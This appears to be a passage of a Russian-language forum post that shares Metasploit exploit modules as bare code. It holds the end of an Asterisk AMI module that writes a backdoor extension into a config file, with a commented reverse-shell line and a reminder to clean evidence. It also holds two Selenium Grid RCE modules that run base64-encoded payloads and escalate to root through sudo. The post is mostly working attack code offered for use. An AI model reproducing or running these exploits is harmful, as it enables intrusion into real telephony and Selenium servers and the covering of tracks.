    return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless conn?
 
    version = get_asterisk_version
    disconnect
 
    return CheckCode::Detected('Able to connect, unable to determine version') if !version
    if version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) ||
       version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) ||
       version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) ||
       version.to_s.include?('cert') &&
       (
         version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) ||
         version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2'))
       )
      return Exploit::CheckCode::Appears("Exploitable version #{version} found")
    end
 
    return Exploit::CheckCode::Safe("Unexploitable version #{version} found")
  end
 
  def exploit
    fail_with(Failure::NoAccess, 'Unable to connect or authenticate') unless conn?
 
    new_context = rand_text_alpha(8..12)
    print_status("Using new context name: #{new_context}")
 
    print_status('Loading conf file')
    req = "Action: Originate\r\n"
    req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"
    req << "Application: SET\r\n"
    req << "Data: FILE(#{datastore['CONF']},,,al)=[#{new_context}]\r\n"
    req << "\r\n"
    res = send_command req
    res = res.strip.gsub("\r\n", ', ')
 
    if res.include?('Response: Error')
      disconnect
      fail_with(Failure::UnexpectedReply, "#{res}. This may be due to lack of permissions, a not vulnerable version, or an incorrect PARKINGLOT")
    end
    vprint_good("  #{res}")
    # since commands are queued, sleeping 1 second is needed for the job to
    # execute. This is mentioned in the original writeup: "(you might need to take some time between them)."
    Rex.sleep(datastore['TIMEOUT'])
 
    print_status('Setting backdoor')
    req = "Action: Originate\r\n"
    req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"
    req << "Application: SET\r\n"
    # from the PoC
    # req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/4444 0>&1')\r\n"
    req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(echo \"#{Base64.strict_encode64(payload.encoded).gsub("\n", '')}\" | base64 -d | sh)\r\n"
    req << "\r\n"
    res = send_command req
    res = res.strip.gsub("\r\n", ', ')
 
    if res.include?('Response: Error')
      disconnect
      fail_with(Failure::UnexpectedReply, res)
    end
    vprint_good("  #{res}")
    Rex.sleep(datastore['TIMEOUT'])
 
    print_status('Reloading config')
    req = "Action: Originate\r\n"
    req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"
    req << "Application: Reload\r\n"
    req << "Data: pbx_config\r\n"
    req << "\r\n"
    res = send_command req
    res = res.strip.gsub("\r\n", ', ')
 
    if res.include?('Response: Error')
      disconnect
      fail_with(Failure::UnexpectedReply, res)
    end
    vprint_good("  #{res}")
    Rex.sleep(datastore['TIMEOUT'])
 
    print_status('Triggering shellcode')
    req = "Action: Originate\r\n"
    req << "Channel: Local/#{datastore['EXTENSION']}@#{new_context}\r\n"
    req << "application: Verbose\r\n"
    req << "Data: #{Rex::Text.rand_text_numeric(5..8)}\r\n"
    req << "\r\n"
    send_command req
 
    disconnect
  end
 
  def on_new_session(client)
    super
    print_good("!!!Don't forget to clean evidence from #{datastore['CONF']}!!!")
  end
end
 

Selenium Firefox Remote Code Execution Exploit​


Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Selenium geckodriver RCE',
        'Description' => %q{
          Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
          allows CSRF because it permits non-JSON content types
          such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
        },
        'Author' => [
          'Jon Stratton',     # Exploit development
          'Takahiro Yokoyama' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-28108'],
          ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'],
          ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
          ['EDB', '49915'],
        ],
        'Payload' => {},
        'Platform' => %w[linux],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'FETCH_DELETE' => true
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-04-18',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(4444),
        OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ])
      ]
    )
  end
 
  def check
    # Request for Selenium Grid version 4
    v4res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'status')
    })
    if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') &&
       v4res.get_json_document['value'].include?('message')
      if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.'
        return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.')
      elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
        return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.')
      end
    end
 
    # Request for Selenium Grid version 3
    v3res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200
 
    js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code
 
    json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
    begin
      json_data = JSON.parse(json_str)
    rescue JSON::ParserError
      return Exploit::CheckCode::Unknown('Unable to determine the version.')
    end
    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']
 
    # Extract the version
    version = Rex::Version.new(json_data['version'])
    @version3 = version < Rex::Version.new('4.0.0')
 
    CheckCode::Appears("Version #{version} detected, which is vulnerable.")
  end
 
  def exploit
    # Build profile zip file.
    stringio = Zip::OutputStream.write_buffer do |io|
      # Create a handler for shell scripts
      io.put_next_entry('handlers.json')
      io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}')
    end
    stringio.rewind
    encoded_profile = Base64.strict_encode64(stringio.sysread)
 
    # Create session with our new profile
    new_session = {
      desiredCapabilities: {
        browserName: 'firefox',
        firefox_profile: encoded_profile
      },
      capabilities: {
        firstMatch: [
          {
            browserName: 'firefox',
            "moz:firefoxOptions": { profile: encoded_profile }
          }
        ]
      }
    }.to_json
 
    # Start session with encoded_profile and save session id for cleanup.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
      'headers' => { 'Content-Type' => 'application/json; charset=utf-8' },
      'data' => new_session
    }, datastore['TIMEOUT'])
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
 
    session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
    fail_with(Failure::Unknown, 'Failed to start session.') unless session_id
 
    print_status("Started session (#{session_id}).")
 
    b64encoded_payload = Rex::Text.encode_base64(
      "rm -rf $0\n"\
      "if sudo -n true 2>/dev/null; then\n"\
      "  echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\
      "else\n"\
      "  #{payload.encoded}\n"\
      "fi\n"
    )
 
    data_url = "data:application/sh;charset=utf-16le;base64,#{b64encoded_payload}"
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"),
      'headers' => { 'Content-Type' => 'application/json; charset=utf-8' },
      'data' => JSON.generate(url: data_url)
    })
    # The server does not send a response, so no check here
 
    # This may take some time (about 5 minutes or so), so no timeout is set here.
    res = send_request_cgi({
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),
      'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }
    })
    if res
      print_status("Deleted session (#{session_id}).")
    else
      print_status("Failed to delete the session (#{session_id}). "\
                   'You may need to wait for the session to expire (default: 5 minutes) or '\
                   'manually delete the session for the next exploit to succeed.')
    end
  end
 
end



Selenium Chrome Remote Code Execution Exploit​


Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Selenium chrome RCE',
        'Description' => %q{
          Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
          such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
        },
        'Author' => [
          'randomstuff (Gabriel Corona)', # Exploit development
          'Wiz Research',                 # Vulnerability research
          'Takahiro Yokoyama'             # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-28108'],
          ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
          ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'],
        ],
        'Payload' => {},
        'Platform' => %w[linux],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                # tested cmd/linux/http/x64/meterpreter_reverse_tcp
                'FETCH_COMMAND' => 'WGET'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'FETCH_DELETE' => true
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-04-18',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(4444),
      ]
    )
  end
 
  def check
    # Request for Selenium Grid version 4
    v4res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'status')
    })
    return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.') if v4res && v4res.get_json_document &&
                                                                                  v4res.get_json_document.include?('value') &&
                                                                                  v4res.get_json_document['value'].include?('message') &&
                                                                                  v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
 
    # Request for Selenium Grid version 3
    v3res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200
 
    js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code
 
    json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
    begin
      json_data = JSON.parse(json_str)
    rescue JSON::ParserError
      return Exploit::CheckCode::Unknown('Unable to determine the version.')
    end
    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']
 
    # Extract the version
    version = Rex::Version.new(json_data['version'])
    if version == Rex::Version.new('4.0.0-alpha-7') || Rex::Version.new('4.0.1') <= version
      return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
    end
 
    CheckCode::Appears("Version #{version} detected, which is vulnerable.")
  end
 
  def exploit
    b64encoded_payload = Rex::Text.encode_base64(
      "if sudo -n true 2>/dev/null; then\n"\
      "  echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\
      "else\n"\
      "  #{payload.encoded}\n"\
      "fi\n"
    )
 
    # Create the request body as a Ruby hash and then convert it to JSON
    body = {
      'capabilities' => {
        'alwaysMatch' => {
          'browserName' => 'chrome',
          'goog:chromeOptions' => {
            'binary' => '/usr/bin/python3',
            'args' => ["-cimport base64,os; bp=b'#{b64encoded_payload}'; os.system(base64.b64decode(bp).decode())"]
          }
        }
      }
    }.to_json
 
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
      'headers' => { 'Content-Type' => 'text/plain' },
      'data' => body
    })
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
  end
 
end
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх